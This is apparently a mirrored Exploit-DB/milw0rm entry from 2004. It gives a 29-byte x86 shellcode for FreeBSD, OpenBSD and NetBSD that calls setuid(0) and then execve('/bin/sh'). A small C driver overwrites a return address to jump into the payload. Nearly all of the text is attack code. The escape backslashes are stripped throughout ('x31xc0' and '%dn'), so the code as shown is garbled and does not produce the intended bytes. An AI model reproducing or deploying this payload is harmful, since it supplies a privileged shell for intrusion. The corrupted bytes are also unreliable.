https://www.exploit-db.com/exploits/13247

漏洞细节尚未披露

/*
   *BSD version
   FreeBSD, OpenBSD, NetBSD.

   [email protected]

   29 bytes.

   -setuid(0);
   -execve(/bin/sh);
*/

char shellcode[]=

   "x31xc0"                      // xor          %eax,%eax
   "x50"                          // push         %eax
   "xb0x17"                      // mov          $0x17,%al
   "x50"                          // push         %eax
   "xcdx80"                      // int          $0x80
   "x50"                          // push         %eax
   "x68x6ex2fx73x68"          // push         $0x68732f6e
   "x68x2fx2fx62x69"          // push         $0x69622f2f
   "x89xe3"                      // mov          %esp,%ebx
   "x50"                          // push         %eax
   "x54"                          // push         %esp
   "x53"                          // push         %ebx
   "x50"                          // push         %eax
   "xb0x3b"                      // mov          $0x3b,%al
   "xcdx80";                     // int          $0x80

main()
{
   int *ret;
   printf("Shellcode lenght=%dn",sizeof(shellcode));
   ret=(int*)&ret+2;
   (*ret)=(int)shellcode;
}

// milw0rm.com [2004-09-26]